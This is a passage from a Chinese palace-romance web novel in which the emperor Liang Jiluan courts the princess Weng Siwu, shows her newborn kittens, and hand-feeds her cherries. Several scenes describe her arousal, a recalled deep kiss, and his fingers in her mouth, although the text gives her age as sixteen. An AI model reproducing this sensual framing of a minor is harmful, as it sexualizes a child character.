她还理不清这些事态带给她的滋味儿情绪,只凭借着少女心思反驳回去,“我不过是感谢他今天搭救了我,不想与他不和罢了。”
本来就是太后阵营里的人,能不让梁寂鸾讨厌就是一桩好事,证明不会因此惹麻烦给自己。
没有父母在世呵护,她在宫中都要过得谨言慎行,怎么还能与一国之君结仇呢?
她不过是两方都不想得罪,仅是如此而已。
歇了一阵脚,翁思妩和默秋重新启程往蓝春殿去,就在绕过长廊,行到一条石桥上时,忽而被人叫住。
“芙徽公主,请留步!”
刚刚分别不久的丁松泉一脸笑意从路上赶来。
翁思妩惊讶不已:“丁统领?”
没有遮掩的,丁松泉开腔,“芙徽公主,时日尚早,天色未晚,此时回去也不过是在蓝春殿歇息。”
“平日公主久居桂玉宫,难得来一趟,不如到永安宫坐一坐,品一壶香茗。”
得知来意,翁思妩彻底安静住了。
过了片刻,她柔声打听:“这是谁的意思?”
丁松泉笑而不语。
但明眼人都能察觉出来,翁思妩不需要多问,这个宫中真正能说话做主的主人,只有一位。
翁思妩自然而然就懂了,可她说要告退的时候,梁寂鸾看起来可是没有一点要挽留的意思。
翁思妩当然也
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不能输,她反倒开口,“天色是早,可我一大早就出了宫,就想回去歇歇,还请丁统领不要阻挠。”
意想不到的回应,让丁松泉成功露出愕然神色。
回了宫,在太后眼皮底下就不好与梁寂鸾太凑近了,关系再好,只要保存两个人之间的小秘密,点到为止即可。
否则……
翁思妩情真意切地说:“太后还在,阿妩感念阿兄好意,但还是不想伤了姑母的心,今日就不去了。”
给她面见天颜的机会,她摆起了架子。
竟然为了陈太后,不想显得与帝王太亲近,免得伤了老人家的心。
目送主仆身影消失,禁军统领回去复命,一五一十地将翁思妩的话向案台后的身影禀告。
除此以外,殿里还有另一人在。
徐钰今日例行检查帝王病情,得知翁思妩和梁寂鸾的关系,正好在此想看看三番此次犯禁的人是否有什么特别之处。
于是求了帝王派人去请,结果……
徐钰:“翁氏历来出美人,这位娘子听说活了十六年,京中无人见过她,这不就是养在闺中无人识?憨真美丽,确实容易让人动心。”
他渐渐向上方的位置投去窥探的目光。
话语继续。
徐钰:“若真是这样有意接近?这样请她都不来,应当属于美人计里的一招,欲擒故纵。”
严酷帝王支着下颔,笔在纸上游走,面容沉静,像是领略不到下属打探的眼神,直到勾勒完最后一笔,梁寂鸾从容地掀起眸子。
修长手指轻缓把笔杆置回原位,似没有一点意外会是这样的答案。
嘴角微勾,带了一点笑,甚至还帮欲擒故纵了他的翁思妩说话,通情达理,“何必这般说人家,她不是说累了,清早出了宫门,午时才归,要回去歇息。”
徐钰口直心快:“那都不过是谦辞,美人心计。”
梁寂鸾:“小娘脚程软,吃不了苦,都算正常。”
徐钰一脸“你变了”的神情看着梁寂鸾,一身惬意的梁寂鸾不受影响的重新挑起墨笔,他没在根据丁松泉回禀的事发表想法,渐渐两个臣子也不再谈她。
21.第 21 章
蓝春殿里,默秋说了相差不多的话,“娘子拒约,陛下会不会不高兴?”
翁思妩脱了鞋履,换了身轻便的衣裳躺下,拆散了珠花的头发挡住领口处的衣襟。
她虽纤瘦,该有的却一处不少,若默秋仔细观察,应该能瞥见在她内里的小衣皱了一处。
“他为何要不高兴?”翁思妩躺回柔软的床榻,眼珠转动,“我难道骗了他?”
“我的确是累了,强撑过去也没有精神气,他为何怪我?”
婢女哑口无言,无法回答,翁思妩细想在御车上的对话,攥紧锦被,“他不会的,默秋。”
她现在手上握着一根线,无形的连接了梁寂鸾那一边,他们彼此谁都不想让手中线被另一方占据更多。
翁思妩默声道:“我不能太听话。”
太听话就没那么特别,那么多家世好相貌好的娘子,她尤为娇弱,也就越发黯然失色。
她不想。
窈窕身影侧过一旁,背对婢女。
她不想什么呢,翁思妩心中心意模糊不定,但可以确定,她不想在站在梁寂鸾面前时,看见他轻飘飘浑然淡漠的模样。
就算是让双眉眼多蹙紧一分,都代表她有分量。
花萼苑一行结束,陈诗织那边短时间内没有再另外邀约,陈诗问当天被她落了面子,不知该怎么记恨她,翁思妩都不关心。
左右她常待在宫中不怎么外出,不过对方一直风平浪静,没出什么幺蛾子。
倒是花萼苑里帮助过的焦家娘子,为了感谢她当日相助,还害她迷了路,特意请人往宫里送了礼物。
还有焦娘子书信一封,说想与她交个朋友,过阵日子请她到焦府做客。
翁思妩转头让默秋把书信收起来,拿出一些回礼送去焦府,她也不介意多认识些娘子,但是跟焦衷耳还是保持些距离为妙。
焦娘子当众表示过对帝王心存恋慕,就在当天不久,她才从梁寂鸾怀里钻出来过。
现在回想,仿佛还能回味出他亲吻她的滋味,舌头勾缠的力道。
像要被吞吃入腹,翁思妩摸着嘴唇,眼角回春,如同又闻见那让人浑身酥麻的气息,鼻翼微微出汗,呼吸略急了些。
“娘子,今日天气好,可要出门走走?”
回来后天色有变,接连下了两日小雨,翁思妩闭门不出,闲来就坐在窗下赏雨,听蓝春殿的侍女说说小话。
等到天色放晴,默秋回来打探到哪里景色比较好,这才跟翁思妩相邀。
翁思妩从榻上下来,换上鞋履:“哪能不去?这便就走。”
侍女在外面等候,各提了一两篮子的花束点心,说:“东西都收拾好了,公主且随奴婢们过去就是。”
宫中生活许久,侍女们更熟悉地形,长生殿附近有一处小山坡,旁边就是凉亭。
两日的雨水捶打让路面上的红海棠凋零一地,还剩半多新生的花苞在枝头上,提前过来的侍女已经在丰茂的草地上铺上软席,等候翁思妩。
侍女停下引路:“就是这里了,公主。”
眼前好大一片云霞风光,几近可以眺望较矮的宫阙,翁思妩顺着指引坐下,“不知这里还有这样的好风景,看来是我平日出来少了。”
侍女:“公主喜静,不知道此处也是正常,此处的殿里不常多人来,奴婢们也是误入这里才发现的。”
“公主且在这处坐着,若是累了还可以到一旁躺着,有奴婢们守着不会出事。”
话音落下,在小坡下方的小道上出现一行人影,前后都有侍卫跟着,还有宫人随行。
几人忽地保持安静,探头朝下瞧去,看样子,侍卫护送的都是些精心打扮过的女子,在上方瞧不出相貌。
端看外形年纪都不大,衣着鲜艳,背影翩跹。
一直到他们走出这段路,侍女们才小声讨论,“是新进宫的花娘子吧。”
“年年都有相貌出众携带香气的女子入宫面圣,期望能博得陛下青眼。”
“前两日下雨,气候不好,才推倒今日向陛下行礼。”
默秋插了一嘴:“这些娘子都会被留在宫中吗?”
侍女扭头过来,“怎会呢,哪有这样的好事?留不留,也要陛下瞧上心有怜惜才行,这样才有机会成为妃嫔。”
默秋:“既然这么多娘子,那陛下到底喜
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欢什么样的?”
侍女笑道:“小秋娘子说笑了,陛下也不是见一个就爱一个,选花娘本就是梁家先祖定下的规矩,挑选条件极为苛刻。”
“说是身上要有异香,可是这两年,也不见哪位娘子得到陛下的认同。”
“所以这陛下到底喜欢什么样的,我等也说不出来,不过听说今年的花娘子比去年的长得还好看,想必若是合了眼缘,自然就能被留在宫中了。”
侍女多当默秋是好奇才如此发问,然而结束后默秋在侍女们谈论其他时,微微朝自家娘子侧目。
娘子自幼年来了葵水后,就时常会发病,如中了风寒般浑身滚烫。
还会问身边亲近之人,有没有闻到一股香,然而不管如何让他们嗅,除了往常衣物上用的熏香,或是捈的脂膏等,均闻不到娘子所描述的那股味道。
这样的香气,只能娘子自己察觉。
默秋不知像娘子这样的情况,是否符合选花娘的条件,若是符合,早些年自家府主为什么不说出来,让娘子也参加?
察觉默秋正在看她,如心有灵犀,翁思妩轻声以侍女都听不到的声音回复,“他可闻不到我的香气。”
这语气和眼神,不像得意,反倒有一丝嗔怨在里面。
翁思妩差点把花娘入选后还要入宫再让梁寂鸾过目一遍的事给忘了,眼下亲眼所见花娘的队伍出现,一想到梁寂鸾和这些女子即将相见。
说不定两人看上眼,很快就会传出一段佳话,翁思妩血气从脚翻涌起来直冲头顶。
“默秋。”
翁思妩大胆道:“我们也去瞧瞧去。”
婢女显然惊了,“娘子?”
翁思妩直接注视着回头看过来,惊讶不已的侍女们,诚心发问:“哪里可以看陛下和花娘子们在一起?”
侍女同样震惊道:“公主?陛下是一个一个召见的。”
翁思妩狡黠地眨着眼,重复一遍:“在哪里?永安宫吗?”
“默秋,我们走。”
发现她好似心意已决,侍女们只得根据从前的消息说:“不,不在那边,永安宫不会随便让外来人进入,是在……”
22.第 22 章
历年被花萼苑选上的花娘都会在隔日入宫,什么时候面圣需要等候帝王旨意。
天一晴,梁寂鸾那边就有动静,让人不由得揣摩圣意,原来他对这种活动不是不在意。
从出现在花萼苑就能瞧得出来,梁寂鸾较为遵循梁家规矩组训,不然怎么这么着急就要见花娘子们。
那些娘子年轻娇嫩,生得好看,连侍女都说比往年的还要好看,哪个男子看了会不动心?
内心有冲动催促着翁思妩赶快去,她也要瞧瞧那边的盛况。
就算是位高权重的帝王,那般云淡风轻的模样不过是种表象,见到美色,肯定会冲动被勾引迷了神智吧。
这样一来,他与寻常男子有何两样?
说不清是失落还是纠结,翁思妩小脸布满阴霾,不像刚才那样和侍女说话时还能若无其事地微笑。
愁眉拢皱,嘴唇红艳,粉腮绷紧了,有一丝不快在里面。
当经过一处池塘时,水面上的粼粼光影反射到眉目如画,却犹如寒霜的面容上,晃了翁思妩的眼。
默秋担忧地轻呼,“注意脚下啊,娘子。”
“有台阶。”
此处呈下行地势,再往上走,稍有不慎就会摔跤,翁思妩好险止步。
默秋劝道:“娘子用不着着急,那边定不会那么快结束,还是小心脚下,咱们慢慢地走。”
天气渐热,树影下多了抹阴凉。
翁思妩站定,酝酿了许久才轻轻呼出浊气。
像下定决心闻言反驳,涌出娇丽的笑容,“我没有着急呀默秋,你哪里看出我很着急吗?”
她想了下,她跟梁寂了是什么关系,她又何必去在意他跟人家是怎么相处的呢?
选花娘是梁家的老规矩,能追溯到上上上几代,梁寂鸾当然也没有错,他履行公事,找他想要的娘子碍着谁了?
所以,她为什么要不满呢?
实在太不够淑女。
父亲在世时言,“一切所发生,不利于己,视为厄行。”
肯定不是她的问题,而是问题本人,她将梁寂鸾想得太明月清风了,也许他本身就是如此,色令智昏。
是她太高看他了,才会以为他跟其他男子有所不同。
这两日他都没有找她,应当是将那天发生的事都忘了,倒是言行如一,保存了两个人的秘密。
翁思妩出声:“算了,不去了。”
她那么焦急做什么,连旁人都能看出破绽,去了以后要显得她很在意么?
“走吧,默秋。”翁思妩轻拍着栏杆,堵了口气冷漠地调头。
天干后的宫廷,树木幽幽翠怡,石台如洗,知鸟在树梢上穿梭飞跃,翁思妩已经做好回去的准备了。
她小走了一段路,让自己听风观景,顺顺心情。
“前面可是芙徽公主?”
未曾听过的声音忽然把她叫住,脚步声急匆匆从后面跟上来。
翁思妩愣了下,微微回首,只见一个内侍打扮的宫人,手执拂尘,面含笑意,讨巧地快步从身后过来,又在下方的台阶处停下。
距离恰到好处,既不会让翁思妩感觉到被冒犯,也不会让她听不见话语。
内侍:“可否请公主挪步斜月台?”
“陛下就在那里。”内侍望着翁思妩的眼神透着心照不宣的深意。
不需多言,当中的气氛微微有变。
回去的路程骤然改道,内侍在前面引路,翁思妩和婢女在身后跟着。
宫中不乏摘星观月之地,有许多景色优美之处都不得随便让人进入,斜月台更隶属梁寂鸾的议政殿两仪宫管辖。
往常议政上朝皆在两仪宫内,附近的斜月台更为清幽,无人打扰。
很适合权倾天下的男子跟姿色出众的美人寻欢作乐,翁思妩不知自己为什么要那么轻易就答应要跟来。
但反应过来时已经不由自主跟着走了,她只有欺想,也许等到了那里就能看见声色犬马的一幕。
美人环绕,帝王左拥右抱,乐不思蜀。
“奴婢们不好再往前进了,陛下就在里面,公主自己去吧。”
内侍手脚轻快告退下去,并一同带走了她身旁的婢女,默秋多少有些担忧,但翁思妩已经被现在处境干扰,很难静心去关注婢女的身影。
而她目光也在找寻梁寂鸾的位置,绕过如屏风似的花墙,行至石子小路的尽头,翁思妩的视野正式开阔起来。
预想中沉迷美色,与人作乐的画面并不存在,甚至连其他娘子的影子都没有。
然后她看到了勤理政务的梁寂鸾,他应当是下朝不久,还身穿着修长的朝服,清隽贵气,周围没有其他人侍候。
但是在他跟前,放着一个摇篮,他似乎并未注意到翁思妩的到来,正垂眸逗弄着摇篮里的襁褓,眉眼有一丝不在朝堂施威的平静和悦。
翁思妩先是盯着他的模样看了片刻,然后才转移到他身前的摇篮上,发现襁褓的那一刻,翁思妩已经有了动摇的想法。
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>怎么会有襁褓呢?
梁寂鸾叫她来,难道是为了看孩子。
他逗弄的是谁的孩子?
意识到这个人做事总是出乎她预料,翁思妩当即不愿再往前踏出一步,她立在一旁,固执地就想等梁寂鸾主动招呼她。
看他什么时候能发觉,她发誓,要一直到他眼底倒影出她的身影为止,她才会往前再走一步。
一……
二……
她开始数数,数到十,梁寂鸾要是让她等很久,翁思妩也是要走回去的。
三……
那只格外修长的手指半搭在摇篮边缘处,停下摇晃,梁寂鸾往翁思妩所在的方向转过脸来,他从未对翁思妩展露过那样的温柔。
像是对襁褓里的视角,只是在面向她时,并没有尽数收敛,但还是会令翁思妩豁然心神一紧,目光有些痴愣地停留在他莞尔的唇边。
梁寂鸾似乎也没料到翁思妩是那副看他的样子。
他的眼神落在哪里,哪里仿佛就会被他摄走,不过分精锐,却黑瞋得极为明润有神。
翁思妩以为他会就这么招呼她,却没想到梁寂鸾瞧见她后会起身,往她的位置走过来,距离因他的主动而逐渐拉近。
由此,她在可以称之为熟悉的幽热、微醺的气息中,已经学会开始自动分辨过滤出一丝最后的草木清新气。
余味萦绕至鼻腔里,从鼻喉被引入肺中,翁思妩发觉她好像同样开始接纳一见到梁寂鸾,就会给她一种与众不同的感受。
乌黑的眼珠如被洗过,又多了一层湿度。
很自然的,没有任何人的触碰,光是梁寂鸾出现在她跟前,后背便自动酥酥麻麻一片。
小腿好似被指尖温柔而撩人的细抚过。
脚掌也似乎有情不自禁搭上宽肩的错觉,太多画面,令呆望着梁寂鸾的翁思妩而脸红。
一话不说,一字不吭,半含着樱桃小嘴,失神且自怜地接驳了帝王的静置目光。
“要随朕去看看吗。”
“什么?”
梁寂鸾忽然说,他俯瞰下来的态度不再让翁思妩感到畏惧,但还是免不了压迫的威余,在他这样高的身形面前,翁思妩太像盈盈不能一握幻化而来的花妖。
小娘的脸顷刻间红透了,兀自牵强镇定地瞪着梁寂鸾。
梁寂鸾向前靠拢,像做梦一样,翁思妩感觉到与她大小完全不同,骨节全然来自男子的手碰到了她的手腕。
梁寂鸾:“跟着朕,好吗?”
23.第 23 章
翁思妩的手犹如匍下的扶柳,顺从地似乎忘了抗拒般怔怔让梁寂鸾握在掌中。
肌肤相贴的瞬间,源源不断的旺盛火力从他哪里传递到她身上,还不到午时,正值晴朗,在环境清幽的斜月台,翁思妩竟硬生生被逼出一身薄薄的汗。
从额头到后脖往下延伸,都有略带香气的汗渍。
手心也跟着湿漉了一圈,她不确定梁寂鸾是否有感受到,在他的手里她的五指都不是一个比例,足足大了她一圈。
他的手牵住她纤瘦的手腕都还有充足的空余,为此翁思妩还稍稍比量了一下她与梁寂鸾的身形。
越比量,过了会脸就越红。
真的好高大、长身玉立的一个威武郎君,盯的久了,翁思妩发现梁寂鸾的确与那些男子有所不同,不知是否梁家血脉的缘故。
即便他在一众男子中,有那些杀气腾腾的侍卫在,他依旧会在第一时刻牵惹住旁人的视线,与生俱来的威仪形成一种根深蒂固令人忌惮敬畏的气势。
从长肩到腰身的位置线条流畅而自然,由此整块脊背展现出从容自信的姿态,他的指腹没有想象中那么光滑柔软,甚至带着常年碰过兵器有过习武阅历的微刺。
光是从皮肤上划过,翁思妩就已经感觉到身上有微微的刺痛令她酥麻起来。
她不自在地动了动,多了左右环顾的无意义的小动作,不过一段小路,就像在烈日下暴晒过。
鼻息灼热,唇色艳的如同咬破一口红樱桃。
注意到梁寂鸾脚步停下来,视线跟着落到她面上,未免被他察觉到异样,翁思妩舔了下嘴,别开目光,“是什么?陛下想让阿妩瞧什么,这个摇篮有什么稀奇的?”
像没察觉到她的不妥,那道眼神在她脸上停留了一瞬,忽然就离开。
翁思妩佯装不觉得失落,悄悄松了口气,梁寂鸾把她的手松开了,“你还没打开,怎么知道它不稀奇。”
这有什么?
翁思妩:“摇篮里有襁褓,襁褓中自然有婴孩,难道陛下叫我来就是为了看谁家的孩子,我”
她伸手听从梁寂鸾的建议,把手伸向摇篮。
目光跟着挪动,却在看清摇篮里的画面时动作一僵,眸光失神般聚焦在襁褓里的小身影上,“我?这,这是?”
“好可爱——”
手心一早出了汗,一圈湿意,翁思妩本打算晾一晾那只被梁寂鸾握过的手掌,现在却小心翼翼对着所见之物心生怜惜。
舍不得碰,怕弄脏对方柔软的皮毛,连手帕都忘了,竟满脸通红,好似很热般,胡乱用手在自身衣裳上擦了擦。
然后才小心翼翼去点那湿漉漉的小粉鼻。
她的动作全被纳入梁寂鸾的眼中,“你很喜欢的话,可以挑一只回去自己养。”
翁思妩已经蹲在了摇篮旁,满眼爱怜,忽略了梁寂鸾的话,“怎么会有猫?”
还是一窝,一看就是刚出生不久的,都不知道梁寂鸾从哪里弄来的,弄襁褓包着一窝窝的,正在睡觉。
翁思妩之前还有心误解他是不是从哪里弄来了私生血脉,太后不知道的话,叫她来看,她还要费心纠结要不要回去告状呢。
结果……
翁思妩不禁嗔了梁寂鸾一眼,然而在对上那双漆黑充满温度的眼眸,回馈给翁思妩的是她自己心率漏跳一拍。
梁寂鸾:“不是朕养的,许是从后山墙角钻进来的,一只怀着身孕的母猫生产中被宫里的内侍发现了,养了些时日,就在这附近朕想你应该会喜欢,就叫你来看看。”
难得听见梁寂鸾说这么一大段话,低沉悦耳的声线总让人不由自主想多听他说一些。
不过也被翁思妩抓到重点,“这里是斜月台,我从不远处过来,陛下是看见我了?不然怎么知道我不在蓝春殿。”
梁寂鸾并不急着给她一个回答,他静静观察着翁思妩,没有别的意思,却轻易就叫她害羞了。
翁思妩垂下眼帘,假装没有不好意思,专注去看襁褓里一窝软软绒绒的猫儿,余光才不经意地去瞄梁寂鸾,却蓦地发现他居然不知什么时候离得那么近了。
就在她身边,帝王的威仪蹲着也不减,连他呼出的热气都感觉得到。
他用一根指头轻轻一点小猫的头,翁思妩慌乱的注意力从眼前转移到他自然而然搭在
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摇篮上的臂弯。
那么有压力,好像连带她一起都收进了他怀里。
这么无意又显得暧昧的姿势,令翁思妩全身热血都随着心跳奔流纷胀。
幽热的气息让她发晕,再近一点就可以往梁寂鸾身上靠去了,又可以回到那日在暖玉阁里被那双结实有力的臂弯抱住的姿势。
梁寂鸾不曾否认道:“的确是瞧见了。”
“斜月台地势不高,你从长生殿下来,那里的台阶正好可以从这里被一览无余,你走过的路朕一直都有看见,才会派人去请你。”
梁寂鸾嘴角微微勾起,“还好,朕把你等来了。”
等来的意思是……他一直有关注她吗,所以在半路的山坡上,满是台阶的地方,翁思妩发娇脾气,驻足原地的模样也都被看见了吗?
现在这是,让她观赏襁褓里的猫儿充当惊喜,是不是可以理解为是在哄她。
翁思妩一摸发烫的额头,为这一荒唐的想法感到难为情。
太自作多情太滥想了,堂堂一国之君,有必要去哄还要倚仗他眼色过活的异姓公主吗?
不许再胡思乱想了,翁思妩红唇轻颤,心中不断提醒告诫自己,不要失礼,不能失礼。
她可千万不能因为御前失仪,成为男人眼中的花痴笑话。
手腕上的红玉镯冰冰凉凉的,触碰到面额,让翁思妩陡然摆脱浑噩,神魂一清。
居然胆敢回视那双近距离看见的如墨般的黑眼珠,呼吸一促,鼻息微乱,声音娇细上扬到无礼。
翁思妩:“等我做什么?阿妩有哪点值得陛下等的,今日花萼苑选出的花娘子听从旨意前来面圣,陛下不该和她们多相处吗?”
“是没相上还是全都收入后宫中了,怎么不见她们人呢?”
从未想过自己也有这样尖酸刻薄的一天,翁思妩说完好似费尽了心力,变得气喘,两眼盯着他。
都怪梁寂鸾,就是他的出现让她变得这么奇怪。
翁思妩:“她们有我香吗?”
梁寂鸾眼神微微一凝,仿佛被翁思妩突如其来的质问给惊到,更加无声而深邃地盯着她不发一语。
24.第 24 章
被长久沉默注视着的翁思妩对梁寂鸾的不回应感到气恼,难道真就只有她一个人把那天的事记心里。
对梁寂鸾来说没对他留下一点痕迹,被他那样对待霸道桎梏着缠吻已经是突破两人身份了。
作为女子来说翁思妩可是有很大损失,被轻薄了。
瞬间摇篮里的小猫儿都不再吸引翁思妩兴趣,她缓缓起身,细柔的眉头隐约轻蹙,呼出的气代表冷静,控制住殷红的唇不再不由自主地轻咬。
翁思妩:“我要回去了。”
她也不说理由,也不会再对梁寂鸾笑了!
梁寂鸾顺势同样站起来,阴影一般笼罩在翁思妩身后,语调平缓,有一丝丝诧异像不懂她为什么会突然生气,“那小猫呢?”
翁思妩:“都不要了!”
“太小……还是崽子,很难养。”
为什么要对他解释这么多,翁思妩走起路来对自己都怨上几分。
突然鼻息间萦绕的灼热气息越来越浓蓦地一下爆发了,翁思妩身子比意识更快感受到,差点因趔趄一下而倒地。
而她的腿脚似乎在这一瞬间根本使不上力,寸步难行。
她比摇篮里的猫儿更像需要躺上去照顾,翁思妩茫然迷惑地回头望着还在原地的梁寂鸾,不懂怎么突然感觉好似怎么走都走不掉的危险。
风里如有被威慑命令的气息令她惊惧,汗毛都竖了起来,她唯一能做的就是小猫小狗般最好是当面对有威胁性的存在摇尾乞怜。
蜷缩着被拥抱,被占有,乖乖露出脖颈被灌注。
始作俑者还问:“你怎么了?”
翁思妩对那靠的越近越来越浓的气息感到无助,四肢如被调教般发软,泪腺骤然发作,眼尾湿红,两眼湿漉漉的。
梁寂鸾缓步稳稳地朝她走了过来,垂眸俯视翁思妩,搭了一下她的肩,翁思妩就像终于有了支柱忽而没法撑住,额头撞进梁寂鸾身上,不可置信双手无意攥紧了他的衣袍。
“我……”
梁寂鸾是不是对她使了什么奇怪法术,翁思妩头重脚轻快被溺死在围绕在她周围的帝王气息里。
她哭腔抱怨,“都欺负我呀?”连他身上的气味都欺负她故意叫她难受。
梁寂鸾在她头上道:“朕看你好像很不舒服,带你去歇息?”
怀里只有翁思妩埋进他衣裳里加重的呼吸,倏地她双脚软绵绵的离地,梁寂鸾轻松抱起她,年轻小娘的身子娇柔,轻如鸿毛没有一点分量。
随着被人抱高,翁思妩的视线也跟着拔高,倚在梁寂鸾的胸膛上,被他气息熏着脑子都要烫化般失去思考能力。
她闭上眼细细轻轻地喘息,睫毛落下一片微弱的阴影。
脸上跟脖颈的皮肤和雪一样白,在光线下可见小小的细绒和淡淡青色的血管,梁寂鸾目光徐徐从当前的一幕划过。
最后双臂沉稳有力地将翁思妩送去了斜月台里的屋内休息。
日头一进有隔档的地方,瞬间令人变得清凉,刺目的光线没有了,视线恢复正常。
当梁寂鸾身上透着威慑之意的气息没再传来,仿佛消失一般,只余下平常那样迷人的草木烧灼气味,翁思妩终于感觉好受许多。
梁寂鸾把她放在了可以躺的摇椅上,俯身问:“好些了么?”
翁思妩脑子里的热逐渐散去,缓缓点头,不敢与之继续对视,嗔道:“好渴……”
“想喝水。”
这样的指使想必还没有人这么对梁寂鸾做过,翁思妩等着梁寂鸾应该会叫人,不会亲力亲为。
然而身为帝王,他轻拂了下翁思妩脸庞微微散乱的一点鬓边发丝,“朕帮你去倒。”
他行动的身影干净利落,让翁思妩吃惊又无言地躺在摇椅上,眼珠愕然地眨了又眨。
梁寂鸾倒茶回来,却没有当即给她,而是放到一旁的小茶几上,“要凉一凉,还需要放一会儿才能入口,否则烫嘴。”
不肖他说翁思妩也知道,不过眼下还是缩在宽大的摇椅里,模样很是很乖觉,一动不动,眼神一直充满渴望地盯着冒着热气的茶杯。
梁寂鸾顺着她视线瞥了桌上一眼,顿时心如明镜,温淡地道:“桌上有瓜果,很渴的话,可以先尝一个。”
他不提,翁思妩还未留意到另一旁的桌子放着吃食。
梁寂鸾走过去帮她拿了过来,更体贴地问:“想吃哪一个?”
瓜果的香气带给翁思妩短暂的清新,她先是瞧中了盘中堆积的樱桃,后又是看了看梁寂鸾的神色,接着理直气壮地吩咐,“要它。”
是梁寂鸾主动问的,可不是她主动要的。
在梁寂鸾居然会帮她把樱桃从瓜果里单独挑出来,用盘子装着时,翁思妩打量斜月台屋内的景象。
这里绝对是方便用来休息的地方,屋中没有灰尘,桌案上的瓶中有剪枝好的鲜花。
连她座下的刺绣软垫都有另外熏好的清香,内室里的软榻上枕被光洁如新,棱镜以及用来梳洗的用具都备的齐全。
想到斜月台里两仪殿极近,就在旁边,所以这里应该是梁寂鸾平常上朝议政过后,会来这里短暂歇息吃茶的用地。
温热的气息忽而递进,翁思妩秀鼻嗅了嗅,就可以察觉到她跟梁寂鸾的距离,很近。
她诧异地跟他对上目光。
神情警惕如小鹿,懵懂又被眼下情况吸引住。
鲜艳的果实装了一盘在他手上,但翁思妩真正要的樱桃,被梁寂鸾捻在手指里。
他如同欣赏品鉴打量了一圈,才跟翁思妩说:“今年雨水不足,下面进贡的樱桃不如以往,尚且称得上红艳。”
“尝尝?”
他直接把樱桃送到了翁思妩嘴边,俨然没有让她亲自动手的意思。
眼皮一跳,心跳跟着加速。
翁思妩从气味中感受到不容抗拒的含义,怔怔地望着梁寂鸾,然后缓慢地侧头用嘴唇轻轻小心地碰了碰微凉的果肉。
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却因为紧张,只是碰到了外皮,连口牙印都没留下。
舌头上残留出跟果皮接触的味道,翁思妩独自在嘴里舔了舔,梁寂鸾始终在上方充满耐心地盯着她的举动。
“你没吃到。”
她刚才的动作被发现了,梁寂鸾一点出来,翁思妩自己就乱了方寸。
她小声反驳,“有,我有。”
“是你拿的不好,你的手要稳一点,我才不怕它跑了。”
梁寂鸾听出她话音里的嫌弃,勾了下唇,轻声应道,“哦?”
“是我的不对。”
他态度良好,有错认错,还会吸取教训,“那你这次不要躲,才能好好吃到。”
翁思妩忽略心头上那抹怪异感,在梁寂鸾再次把樱桃凑近时被分散注意力。
她不由地再次张开唇。
过了一小会儿,翁思妩的眼神从懵懂变成了忧心忡忡。
她发誓,她自觉已经足够小心了,却还是在用牙齿啃咬时,嘴唇都会跟着含碰到梁寂鸾的指尖。
在包裹果肉时,同时连他的指尖也包裹住。
次数一多,就连气氛都变得古怪了。
那只捻着一颗樱桃肉的手骨节根根分明,仔细看更能清晰看见它蕴藏着脉络和富有蓬勃力量的青筋。
翁思妩再次咬到一口,神色霎时一窘,抬眼偷瞄梁寂鸾,他神情未有变化,一如既往泰然不惊,手也没挪动一分。
反而转动了点樱桃,带给翁思妩一种错觉般,往她嘴里塞了塞,凑得更近了。
“阿兄,还是我自己吃吧。”翁思妩见到那双黑瞋瞋的眸子,有了一丝异样和害怕。
就连这样说话,翁思妩的嘴唇都能从他的手上擦过,留下一道湿濡的痕迹。
没有抽回手就是没有应许。
梁寂鸾倏然道:“你刚才问朕的问题,朕在想,该如何回答你。”
翁思妩尝到嘴里的樱桃肉,汁水四溢,因梁寂鸾的手指不知有意还是无意伸进来,她不方便咬到他,但舌头总能若有似无的舔到。
唇齿小心翼翼避让又要嚼烂果肉,以至于汁水都顺着他的手指和她的下巴淌出来,滴到了衣裳上,染成樱桃的红。
她脸红起来,更因为头脑恢复清醒,没有那么发热了而懊悔,刚才自己在外面为什么要那么冲动。
她为什么要关心梁寂鸾那些花娘的去向呢?
还昏了头质问,和她们比谁香?
翁思妩嘴里含糊不清道:“方才不作数,是我,是我……”
梁寂鸾的指尖数次被那条嫩舌舔过,“朕不记得了,分不出,是你香还是她们更香。”
翁思妩愣住,连果肉都忘了嚼。
过了片刻,像被这样的回答给冒犯羞辱,翁思妩奋力想从躺椅上坐起来,挥开梁寂鸾的手。
却在下一瞬间被梁寂鸾紧紧抓握住,眼神又深又黑,郑重而沉声地低喃,“所以朕很想,再闻一次。”